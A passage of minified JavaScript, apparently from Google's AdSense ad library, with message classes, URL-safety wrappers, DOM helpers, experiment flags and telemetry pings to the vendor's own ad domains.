0!==b&&-1<b?(this.l=Math.max(b,a+1-this.j),this.i=void 0):this.l=Number.MAX_VALUE}if(c)for(b=0;b<c.length;b++)if(a=c[b],a<this.l)a+=this.j,(d=this.v[a])?Array.isArray(d)&&gb(d):this.v[a]=lb;else{d=this.i||(this.i=this.v[this.l+this.j]={});var e=d[a];e?Array.isArray(e)&& gb(e):d[a]=lb}}Jb.prototype.toJSON=function(){var a=this.v;return kb?a:qb(a)};function Lb(a){kb=!0;try{return JSON.stringify(a.toJSON(),Mb)}finally{kb=!1}}function Nb(a,b){if(null==b||""==b)return new a;b=JSON.parse(b);if(!Array.isArray(b))throw Error("Expected to deserialize an Array but got "+wa(b)+": "+b);Kb=b;a=new a(b);Kb=null;return a}function Mb(a,b){return pb(b)}var Kb;function Ob(){Jb.apply(this,arguments)}v(Ob,Jb);if(nb){var Pb={};Object.defineProperties(Ob,(Pb[p.Symbol.hasInstance]=ob(function(){throw Error("Cannot perform instanceof checks for MutableMessage");}),Pb))};function J(){Ob.apply(this,arguments)}v(J,Ob);if(nb){var Qb={};Object.defineProperties(J,(Qb[p.Symbol.hasInstance]=ob(Object[p.Symbol.hasInstance]),Qb))};function Rb(a){J.call(this,a,-1,Sb)}v(Rb,J);function Tb(a){J.call(this,a)}v(Tb,J);var Sb=[2,3];function Ub(a,b){this.i=a===Vb&&b||"";this.h=Wb}var Wb={},Vb={};function Xb(a,b){var c={},d;for(d in a)b.call(void 0,a[d],d,a)&&(c[d]=a[d]);return c}function Yb(a,b){for(var c in a)if(b.call(void 0,a[c],c,a))return!0;return!1}function Zb(a){var b=[],c=0,d;for(d in a)b[c++]=a[d];return b}function $b(a){var b={},c;for(c in a)b[c]=a[c];return b};var ac;function bc(){if(void 0===ac){var a=null,b=w.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:Ha,createScript:Ha,createScriptURL:Ha})}catch(c){w.console&&w.console.error(c.message)}ac=a}else ac=a}return ac};function cc(a,b){this.h=b===dc?a:""}function ec(a,b){a=fc.exec(gc(a).toString());var c=a[3]||"";return hc(a[1]+ic("?",a[2]||"",b)+ic("#",c))}cc.prototype.toString=function(){return this.h+""};function gc(a){return a instanceof cc&&a.constructor===cc?a.h:"type_error:TrustedResourceUrl"}var fc=/^([^?#]*)(\?[^#]*)?(#[\s\S]*)?/,dc={};function hc(a){var b=bc();a=b?b.createScriptURL(a):a;return new cc(a,dc)} function ic(a,b,c){if(null==c)return b;if("string"===typeof c)return c?a+encodeURIComponent(c):"";for(var d in c)if(Object.prototype.hasOwnProperty.call(c,d)){var e=c[d];e=Array.isArray(e)?e:[e];for(var f=0;f<e.length;f++){var g=e[f];null!=g&&(b||(b=a),b+=(b.length>a.length?"&":"")+encodeURIComponent(d)+"="+encodeURIComponent(String(g)))}}return b};function jc(a,b){this.h=b===kc?a:""}jc.prototype.toString=function(){return this.h.toString()};var kc={};/* SPDX-License-Identifier: Apache-2.0 */ var lc={};function mc(){}function nc(a){this.h=a}v(nc,mc);nc.prototype.toString=function(){return this.h.toString()};function oc(a){var b,c=null==(b=bc())?void 0:b.createScriptURL(a);return new nc(null!=c?c:a,lc)}function pc(a){if(a instanceof nc)return a.h;throw Error("");};function qc(a){return a instanceof mc?pc(a):gc(a)}function rc(a){return a instanceof jc&&a.constructor===jc?a.h:"type_error:SafeUrl"}function sc(a){return a instanceof mc?pc(a).toString():gc(a).toString()};var tc="alternate author bookmark canonical cite help icon license next prefetch dns-prefetch prerender preconnect preload prev search subresource".split(" ");function uc(a){return function(){return!a.apply(this,arguments)}}function vc(a){var b=!1,c;return function(){b||(c=a(),b=!0);return c}}function wc(a){var b=a;return function(){if(b){var c=b;b=null;c()}}};function xc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)}function yc(a,b){a.removeEventListener&&a.removeEventListener("message",b,!1)};function zc(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function Ac(a,b,c){function d(h){h&&b.appendChild("string"===typeof h?a.createTextNode(h):h)}for(var e=1;e<c.length;e++){var f=c[e];if(!xa(f)||ya(f)&&0<f.nodeType)d(f);else{a:{if(f&&"number"==typeof f.length){if(ya(f)){var g="function"==typeof f.item||"string"==typeof f.item;break a}if("function"===typeof f){g="function"==typeof f.item;break a}}g=!1}Ra(g?Ya(f):f,d)}}}function Bc(a){this.h=a||w.document||document}n=Bc.prototype;n.getElementsByTagName=function(a,b){return(b||this.h).getElementsByTagName(String(a))}; n.createElement=function(a){var b=this.h;a=String(a);"application/xhtml+xml"===b.contentType&&(a=a.toLowerCase());return b.createElement(a)};n.createTextNode=function(a){return this.h.createTextNode(String(a))};n.append=function(a,b){Ac(9==a.nodeType?a:a.ownerDocument||a.document,a,arguments)}; n.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Cc(){return!Dc()&&(x("iPod")||x("iPhone")||x("Android")||x("IEMobile"))}function Dc(){return x("iPad")||x("Android")&&!x("Mobile")||x("Silk")};var Ec=RegExp("^(?:([^:/?#.]+):)?(?://(?:([^\\\\/?#]*)@)?([^\\\\/?#]*?)(?::([0-9]+))?(?=[\\\\/?#]|$))?([^?#]+)?(?:\\?([^#]*))?(?:#([\\s\\S]*))?$"),Fc=/#|$/;function Gc(a){var b=a.search(Fc),c;a:{for(c=0;0<=(c=a.indexOf("client",c))&&c<b;){var d=a.charCodeAt(c-1);if(38==d||63==d)if(d=a.charCodeAt(c+6),!d||61==d||38==d||35==d)break a;c+=7}c=-1}if(0>c)return null;d=a.indexOf("&",c);if(0>d||d>b)d=b;c+=7;return decodeURIComponent(a.substr(c,d-c).replace(/\+/g," "))};function Hc(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{Za(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Ic(a){return Hc(a.top)?a.top:null} function Lc(a,b){var c=Mc("SCRIPT",a);c.src=qc(b);var d,e;(d=(b=null==(e=(d=(c.ownerDocument&&c.ownerDocument.defaultView||window).document).querySelector)?void 0:e.call(d,"script[nonce]"))?b.nonce||b.getAttribute("nonce")||"":"")&&c.setAttribute("nonce",d);return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function Nc(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle} function Oc(a,b){if(!Pc()&&!Qc()){var c=Math.random();if(c<b)return c=Rc(),a[Math.floor(c*a.length)]}return null}function Rc(){if(!p.globalThis.crypto)return Math.random();try{var a=new Uint32Array(1);p.globalThis.crypto.getRandomValues(a);return a[0]/65536/65536}catch(b){return Math.random()}}function Sc(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b(a[c],c,a)} function Tc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var Qc=vc(function(){return Ua(["Google Web Preview","Mediapartners-Google","Google-Read-Aloud","Google-Adwords"],Uc)||1E-4>Math.random()});function Vc(a,b){var c=-1;try{a&&(c=parseInt(a.getItem(b),10))}catch(d){return null}return 0<=c&&1E3>c?c:null} function Wc(a,b){var c=Qc()?null:Math.floor(1E3*Rc());var d;if(d=null!=c&&a)a:{var e=String(c);try{if(a){a.setItem(b,e);d=e;break a}}catch(f){}d=null}return d?c:null}var Pc=vc(function(){return Uc("MSIE")});function Uc(a){return-1!=Ma().indexOf(a)}var Xc=/^([0-9.]+)px$/,Yc=/^(-?[0-9.]{1,30})$/;function Zc(a){var b=void 0===b?null:b;if(!Yc.test(a))return b;a=Number(a);return isNaN(a)?b:a}function K(a){return(a=Xc.exec(a))?+a[1]:null} function $c(a,b){for(var c=0;50>c;++c){try{var d=!(!a.frames||!a.frames[b])}catch(g){d=!1}if(d)return a;a:{try{var e=a.parent;if(e&&e!=a){var f=e;break a}}catch(g){}f=null}if(!(a=f))break}return null}var ad=vc(function(){return Cc()?2:Dc()?1:0});function bd(a){Sc({display:"none"},function(b,c){a.style.setProperty(c,b,"important")})}var cd=[];function dd(){var a=cd;cd=[];a=u(a);for(var b=a.next();!b.done;b=a.next()){b=b.value;try{b()}catch(c){}}} function ed(a,b){0!=a.length&&b.head&&a.forEach(function(c){if(c&&c&&b.head){var d=Mc("META");b.head.appendChild(d);d.httpEquiv="origin-trial";d.content=c}})}function fd(a){if("number"!==typeof a.goog_pvsid)try{Object.defineProperty(a,"goog_pvsid",{value:Math.floor(Math.random()*Math.pow(2,52)),configurable:!1})}catch(b){}return Number(a.goog_pvsid)||-1} function gd(a){var b=hd;"complete"===b.readyState||"interactive"===b.readyState?(cd.push(a),1==cd.length&&(p.Promise?p.Promise.resolve().then(dd):window.setImmediate?setImmediate(dd):setTimeout(dd,0))):b.addEventListener("DOMContentLoaded",a)}function Mc(a,b){b=void 0===b?document:b;return b.createElement(String(a).toLowerCase())};var id=null;var hd=document,L=window;var jd=null;function kd(a,b){b=void 0===b?[]:b;var c=!1;w.google_logging_queue||(c=!0,w.google_logging_queue=[]);w.google_logging_queue.push([a,b]);if(a=c){if(null==jd){jd=!1;try{var d=Ic(w);d&&-1!==d.location.hash.indexOf("google_logging")&&(jd=!0);w.localStorage.getItem("google_logging")&&(jd=!0)}catch(e){}}a=jd}a&&(d=w.document,a=new Ub(Vb,"https://pagead2.googlesyndication.com/pagead/js/logging_library.js"),a=hc(a instanceof Ub&&a.constructor===Ub&&a.h===Wb?a.i:"type_error:Const"),Lc(d,a))};function ld(a){a=void 0===a?w:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function md(a){return(a=a||ld())?Hc(a.master)?a.master:null:null};function nd(a){var b=ta.apply(1,arguments);if(0===b.length)return oc(a[0]);for(var c=[a[0]],d=0;d<b.length;d++)c.push(encodeURIComponent(b[d])),c.push(a[d+1]);return oc(c.join(""))};function od(a){var b=void 0===b?1:b;a=md(ld(a))||a;a.google_unique_id=(a.google_unique_id||0)+b;return a.google_unique_id}function pd(a){a=a.google_unique_id;return"number"===typeof a?a:0}function qd(){var a=void 0===a?L:a;if(!a)return!1;try{return!(!a.navigator.standalone&&!a.top.navigator.standalone)}catch(b){return!1}}function rd(a){if(!a)return"";a=a.toLowerCase();"ca-"!=a.substring(0,3)&&(a="ca-"+a);return a};function sd(){this.i=new td(this);this.h=0}sd.prototype.resolve=function(a){ud(this);this.h=1;this.l=a;vd(this.i)};sd.prototype.reject=function(a){ud(this);this.h=2;this.j=a;vd(this.i)};function ud(a){if(0!=a.h)throw Error("Already resolved/rejected.");}function td(a){this.h=a}td.prototype.then=function(a,b){if(this.i)throw Error("Then functions already set.");this.i=a;this.j=b;vd(this)}; function vd(a){switch(a.h.h){case 0:break;case 1:a.i&&a.i(a.h.l);break;case 2:a.j&&a.j(a.h.j);break;default:throw Error("Unhandled deferred state.");}};function wd(a){this.h=a.slice(0)}n=wd.prototype;n.forEach=function(a){var b=this;this.h.forEach(function(c,d){return void a(c,d,b)})};n.filter=function(a){return new wd(Sa(this.h,a))};n.apply=function(a){return new wd(a(this.h.slice(0)))};n.sort=function(a){return new wd(this.h.slice(0).sort(a))};n.get=function(a){return this.h[a]};n.add=function(a){var b=this.h.slice(0);b.push(a);return new wd(b)};function xd(a,b){for(var c=[],d=a.length,e=0;e<d;e++)c.push(a[e]);c.forEach(b,void 0)};function yd(){this.h={};this.i={}}yd.prototype.set=function(a,b){var c=zd(a);this.h[c]=b;this.i[c]=a};yd.prototype.get=function(a,b){a=zd(a);return void 0!==this.h[a]?this.h[a]:b};yd.prototype.clear=function(){this.h={};this.i={}};function zd(a){return a instanceof Object?String(za(a)):a+""};function Ad(a,b){this.h=a;this.i=b}function Bd(a){return null!=a.h?a.h.value:null}function Cd(a,b){null!=a.h&&b(a.h.value);return a}Ad.prototype.map=function(a){return null!=this.h?(a=a(this.h.value),a instanceof Ad?a:Dd(a)):this};function Ed(a,b){null!=a.h||b(a.i);return a}function Dd(a){return new Ad({value:a},null)}function Fd(a){return new Ad(null,a)}function Gd(a){try{return Dd(a())}catch(b){return Fd(b)}};function Hd(a){this.h=new yd;if(a)for(var b=0;b<a.length;++b)this.add(a[b])}Hd.prototype.add=function(a){this.h.set(a,!0)};Hd.prototype.contains=function(a){return void 0!==this.h.h[zd(a)]};function Id(){this.h=new yd}Id.prototype.set=function(a,b){var c=this.h.get(a);c||(c=new Hd,this.h.set(a,c));c.add(b)};function Jd(a){J.call(this,a,-1,Kd)}v(Jd,J);Jd.prototype.getId=function(){return A(this,3)};var Kd=[4];function Ld(a){var b=void 0===a.Ga?void 0:a.Ga,c=void 0===a.gb?void 0:a.gb,d=void 0===a.Ra?void 0:a.Ra;this.h=void 0===a.bb?void 0:a.bb;this.l=new wd(b||[]);this.j=d;this.i=c};function Md(a){var b=[],c=a.l;c&&c.h.length&&b.push({X:"a",ca:Nd(c)});null!=a.h&&b.push({X:"as",ca:a.h});null!=a.i&&b.push({X:"i",ca:String(a.i)});null!=a.j&&b.push({X:"rp",ca:String(a.j)});b.sort(function(d,e){return d.X.localeCompare(e.X)});b.unshift({X:"t",ca:"aa"});return b}function Nd(a){a=a.h.slice(0).map(Od);a=JSON.stringify(a);return Tc(a)}function Od(a){var b={};null!=A(a,7)&&(b.q=A(a,7));null!=A(a,2)&&(b.o=A(a,2));null!=A(a,5)&&(b.p=A(a,5));return b};function Pd(a){J.call(this,a)}v(Pd,J);Pd.prototype.setLocation=function(a){return B(this,1,a)};function Qd(a,b){this.Ja=a;this.Qa=b}function Rd(a){var b=[].slice.call(arguments).filter(uc(function(e){return null===e}));if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.Ja||[]);d=r(Object,"assign").call(Object,d,e.Qa)});return new Qd(c,d)} function Sd(a){switch(a){case 1:return new Qd(null,{google_ad_semantic_area:"mc"});case 2:return new Qd(null,{google_ad_semantic_area:"h"});case 3:return new Qd(null,{google_ad_semantic_area:"f"});case 4:return new Qd(null,{google_ad_semantic_area:"s"});default:return null}} function Td(a){if(null==a)a=null;else{var b=Md(a);a=[];b=u(b);for(var c=b.next();!c.done;c=b.next()){c=c.value;var d=String(c.ca);a.push(c.X+"."+(20>=d.length?d:d.slice(0,19)+"_"))}a=new Qd(null,{google_placement_id:a.join("~")})}return a};var Ud={},Vd=new Qd(["google-auto-placed"],(Ud.google_reactive_ad_format=40,Ud.google_tag_origin="qs",Ud));function Wd(a){J.call(this,a)}v(Wd,J);function Xd(a){J.call(this,a)}v(Xd,J);Xd.prototype.getName=function(){return A(this,4)};function Yd(a){J.call(this,a)}v(Yd,J);function Zd(a){J.call(this,a)}v(Zd,J);function $d(a){J.call(this,a)}v($d,J);var ae=[1,2,3];function be(a){J.call(this,a)}v(be,J);function ce(a){J.call(this,a,-1,de)}v(ce,J);var de=[6,7,9,10,11];function ee(a){J.call(this,a,-1,fe)}v(ee,J);function ge(a){J.call(this,a)}v(ge,J);function he(a){J.call(this,a)}v(he,J);var fe=[1],ie=[1,2];function je(a){J.call(this,a,-1,ke)}v(je,J);function le(a){J.call(this,a)}v(le,J);function me(a){J.call(this,a,-1,ne)}v(me,J);function oe(a){J.call(this,a)}v(oe,J);function pe(a){J.call(this,a)}v(pe,J);function qe(a){J.call(this,a)}v(qe,J);function re(a){J.call(this,a)}v(re,J);var ke=[1,2,5,7],ne=[2,5,6,11];function se(a){J.call(this,a)}v(se,J);function te(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function ue(a,b,c){switch(c){case 0:b.parentNode&&b.parentNode.insertBefore(a,b);break;case 3:if(c=b.parentNode){var d=b.nextSibling;if(d&&d.parentNode!=c)for(;d&&8==d.nodeType;)d=d.nextSibling;c.insertBefore(a,d)}break;case 1:b.insertBefore(a,b.firstChild);break;case 2:b.appendChild(a)}te(b)&&(b.setAttribute("data-init-display",b.style.display),b.style.display="block")};function M(a,b){this.h=a;this.defaultValue=void 0===b?!1:b}function N(a,b){this.h=a;this.defaultValue=void 0===b?0:b}function ve(a,b){b=void 0===b?[]:b;this.h=a;this.defaultValue=b};var we=new M(1084),xe=new M(1082,!0),ye=new N(62,.001),ze=new N(1130,100),Ae=new function(a,b){this.h=a;this.defaultValue=void 0===b?"":b}(14),Be=new N(1114,1),Ce=new N(1110),De=new N(1111),Ee=new N(1112),Fe=new N(1113),Ge=new N(1104),He=new N(1108),Ie=new N(1106),Je=new N(1107),Ke=new N(1105),Le=new N(1115,1),Me=new M(1121),Ne=new M(1144),Oe=new M(1143),Pe=new M(316),Qe=new M(313),Re=new M(369),Se=new M(1093),Te=new N(1098),Ue=new M(1129),Ve=new M(1128),We=new M(1026),Xe=new M(1090),Ye=new M(1053, !0),Ze=new M(1162),$e=new M(1120),af=new M(1100,!0),bf=new N(1046),cf=new M(1102,!0),df=new M(218),ef=new M(217),ff=new M(227),gf=new M(208),hf=new M(282),jf=new M(1086),kf=new N(1079,5),lf=new M(1141),mf=new ve(1939),nf=new ve(1934,["A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9", "A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9","A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"]), of=new M(203),pf=new M(434462125),qf=new M(84),rf=new M(1928),sf=new M(1941),tf=new M(370946349),uf=new M(392736476,!0),vf=new N(406149835),wf=new ve(1932,["AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=","Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9","AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="]),xf=new N(1935);function O(a){var b="sa";if(a.sa&&a.hasOwnProperty(b))return a.sa;b=new a;return a.sa=b};function yf(){var a={};this.i=function(b,c){return null!=a[b]?a[b]:c};this.j=function(b,c){return null!=a[b]?a[b]:c};this.l=function(b,c){return null!=a[b]?a[b]:c};this.h=function(b,c){return null!=a[b]?a[b]:c};this.m=function(){}}function P(a){return O(yf).i(a.h,a.defaultValue)}function Q(a){return O(yf).j(a.h,a.defaultValue)}function zf(){return O(yf).l(Ae.h,Ae.defaultValue)};function Af(a,b,c){function d(f){f=Bf(f);return null==f?!1:c>f}function e(f){f=Bf(f);return null==f?!1:c<f}switch(b){case 0:return{init:Cf(a.previousSibling,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 2:return{init:Cf(a.lastChild,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 3:return{init:Cf(a.nextSibling,d),ja:function(f){return Cf(f.nextSibling,d)},na:3};case 1:return{init:Cf(a.firstChild,d),ja:function(f){return Cf(f.nextSibling,d)},na:3}}throw Error("Un-handled RelativePosition: "+ b);}function Bf(a){return a.hasOwnProperty("google-ama-order-assurance")?a["google-ama-order-assurance"]:null}function Cf(a,b){return a&&b(a)?a:null};var Df={rectangle:1,horizontal:2,vertical:4};function Ef(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=Mc("IMG",a.document);c.src=b;a.google_image_requests.push(c)}function Ff(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=dtt_err";Sc(a,function(c,d){c&&(b+="&"+d+"="+encodeURIComponent(c))});Gf(b)}function Gf(a){var b=window;b.fetch?b.fetch(a,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"}):Ef(b,a)};function Hf(){this.j="&";this.i={};this.l=0;this.h=[]}function If(a,b){var c={};c[a]=b;return[c]}function Jf(a,b,c,d,e){var f=[];Sc(a,function(g,h){(g=Kf(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)} function Kf(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(Kf(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(Jf(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))} function Lf(a,b){var c="https://pagead2.googlesyndication.com"+b,d=Mf(a)-b.length;if(0>d)return"";a.h.sort(function(m,q){return m-q});b=null;for(var e="",f=0;f<a.h.length;f++)for(var g=a.h[f],h=a.i[g],k=0;k<h.length;k++){if(!d){b=null==b?g:b;break}var l=Jf(h[k],a.j,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.j;break}b=null==b?g:b}}a="";null!=b&&(a=e+"trn="+b);return c+a}function Mf(a){var b=1,c;for(c in a.i)b=c.length>b?c.length:b;return 3997-b-a.j.length-1};function Nf(){this.h=Math.random()}function Of(){var a=Pf,b=w.google_srt;0<=b&&1>=b&&(a.h=b)}function Qf(a,b,c,d,e){if((d?a.h:Math.random())<(e||.01))try{if(c instanceof Hf)var f=c;else f=new Hf,Sc(c,function(h,k){var l=f,m=l.l++;h=If(k,h);l.h.push(m);l.i[m]=h});var g=Lf(f,"/pagead/gen_204?id="+b+"&");g&&Ef(w,g)}catch(h){}};var Rf={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5};function Sf(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.messageValidationEnabled=!1;this.floatingAdsStacking=new Tf;this.sideRailProcessedFixedElements=new p.Set;this.sideRailAvailableSpace=new p.Map} function Uf(a){a.google_reactive_ads_global_state?(null==a.google_reactive_ads_global_state.sideRailProcessedFixedElements&&(a.google_reactive_ads_global_state.sideRailProcessedFixedElements=new p.Set),null==a.google_reactive_ads_global_state.sideRailAvailableSpace&&(a.google_reactive_ads_global_state.sideRailAvailableSpace=new p.Map)):a.google_reactive_ads_global_state=new Sf;return a.google_reactive_ads_global_state} function Tf(){this.maxZIndexRestrictions={};this.nextRestrictionId=0;this.maxZIndexListeners=[]};function Vf(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Wf(a){return Vf(a).clientWidth};function Xf(a){return null!==a&&void 0!==a}function Yf(a,b){if(!b(a))throw Error(String(a));};function Zf(a){return"string"===typeof a}function $f(a){return void 0===a};function ag(a){J.call(this,a,-1,bg)}v(ag,J);var bg=[2,8],cg=[3,4,5],dg=[6,7];var eg;eg={Kb:0,Ya:3,Za:4,$a:5};var fg=eg.Ya,gg=eg.Za,hg=eg.$a;function ig(a){return null!=a?!a:a}function jg(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d]();if(e===b)return e;null==e&&(c=!0)}if(!c)return!b}function kg(a,b){var c=H(a,ag,2);if(!c.length)return lg(a,b);a=C(a,1,0);if(1===a)return ig(kg(c[0],b));c=Ta(c,function(d){return function(){return kg(d,b)}});switch(a){case 2:return jg(c,!1);case 3:return jg(c,!0)}} function lg(a,b){var c=Cb(a,cg);a:{switch(c){case fg:var d=Hb(a,3,cg);break a;case gg:d=Hb(a,4,cg);break a;case hg:d=Hb(a,5,cg);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,ka(wb(a,8)))}catch(f){return}b=C(a,1,0);if(4===b)return!!e;d=null!=e;if(5===b)return d;if(12===b)a=I(a,Db(a,dg,7));else a:{switch(c){case gg:a=yb(a,Db(a,dg,6));break a;case hg:a=I(a,Db(a,dg,7));break a}a=void 0}if(null!=a){if(6===b)return e===a;if(9===b)return null!=e&&0===Ka(String(e),a);if(d)switch(b){case 7:return e< a;case 8:return e>a;case 12:return Zf(a)&&Zf(e)&&(new RegExp(a)).test(e);case 10:return null!=e&&-1===Ka(String(e),a);case 11:return null!=e&&1===Ka(String(e),a)}}}}function mg(a,b){return!a||!(!b||!kg(a,b))};function ng(a){J.call(this,a,-1,og)}v(ng,J);var og=[4];function pg(a){J.call(this,a)}v(pg,J);function qg(a){J.call(this,a,-1,rg)}v(qg,J);var rg=[5],sg=[1,2,3,6,7];function tg(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:4,message:b}})))}function ug(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:7,message:b}})))};function vg(a){return function(){var b=ta.apply(0,arguments);try{return a.apply(this,b)}catch(c){}}}var wg=vg(function(a){var b=[],c={};a=u(a);for(var d=a.next();!d.done;c={ea:c.ea},d=a.next())c.ea=d.value,vg(function(e){return function(){b.push('[{"'+e.ea.Xa+'":'+Lb(e.ea.message)+"}]")}}(c))();return"[["+b.join(",")+"]]"});function xg(a,b){if(p.globalThis.fetch)p.globalThis.fetch(a,{method:"POST",body:b,keepalive:65536>b.length,credentials:"omit",mode:"no-cors",redirect:"follow"});else{var c=new XMLHttpRequest;c.open("POST",a,!0);c.send(b)}};function yg(a){var b=void 0===b?xg:b;this.l=void 0===a?1E3:a;this.j=b;this.i=[];this.h=null}yg.prototype.Sa=function(){var a=ta.apply(0,arguments),b=this;vg(function(){b.i.push.apply(b.i,ka(a));var c=vg(function(){var d=wg(b.i);b.j("https://pagead2.googlesyndication.com/pagead/ping?e=1",d);b.i=[];b.h=null});100<=b.i.length?(null!==b.h&&clearTimeout(b.h),b.h=setTimeout(c,0)):null===b.h&&(b.h=setTimeout(c,b.l))})()};function zg(a){J.call(this,a,-1,Ag)}v(zg,J);function Bg(a,b){return Eb(a,1,b)}function Cg(a,b){return Gb(a,2,b)}function Dg(a,b){return 